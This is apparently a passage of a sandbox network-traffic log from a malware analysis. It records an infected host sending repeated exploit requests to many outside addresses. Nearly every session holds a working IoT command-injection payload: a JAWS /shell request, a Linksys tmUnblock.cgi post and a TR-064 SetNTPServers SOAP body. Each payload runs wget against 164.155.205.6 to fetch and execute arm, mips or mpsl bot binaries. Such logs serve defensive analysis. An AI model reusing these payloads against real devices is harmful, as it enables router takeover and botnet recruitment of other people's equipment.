79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.23	57252	70.32.84.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.511183023 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.23	40010	4.175.143.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.533008099 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.703768969 CET	31	IN	Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable
Mar 2, 2024 12:37:59.198138952 CET	31	IN	Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.23	46678	104.17.160.110	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.559191942 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.23	40076	4.175.143.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.680058956 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.851397991 CET	31	IN	Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.23	38136	179.111.63.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.844770908 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:59.076602936 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="YTlhZTg4MDE6YmEzNjUzNGM6MTk0NjQwZDQ=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 2, 2024 12:37:59.733860016 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="YTlhZTg4MDE6YmEzNjUzNGM6MTk0NjQwZDQ=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.23	51852	187.57.157.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.844800949 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.23	36878	221.156.55.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:58.902510881 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.23	49524	172.67.210.195	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.033750057 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:59.516226053 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.23	58796	172.67.173.70	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.033819914 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.23	34464	172.64.104.123	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.033845901 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.23	51934	187.57.157.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.081465006 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.284187078 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.23	38214	179.111.63.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.081720114 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.284184933 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.514686108 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="MThkZTg2MmU6N2JiMjhkMWI6IDdmMjkzODE=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.23	49102	31.200.54.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.081728935 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.284185886 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:01.691900969 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:04.571504116 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:10.203016043 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:21.465115070 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:45.269934893 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.23	49670	212.89.81.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.095978975 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.23	36974	177.143.214.18	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.159288883 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.23	36962	221.156.55.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.198693991 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.23	41282	220.91.115.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.198837042 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:59.488950968 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:37:59 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.23	33020	154.212.109.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.346862078 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:03.547708035 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:03.859225988 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:03 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.23	54760	109.59.231.161	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.846592903 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.23	55952	183.106.249.117	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:59.935090065 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.23	60388	51.211.39.90	80

Timestamp	Bytes transferred	Direction	Data
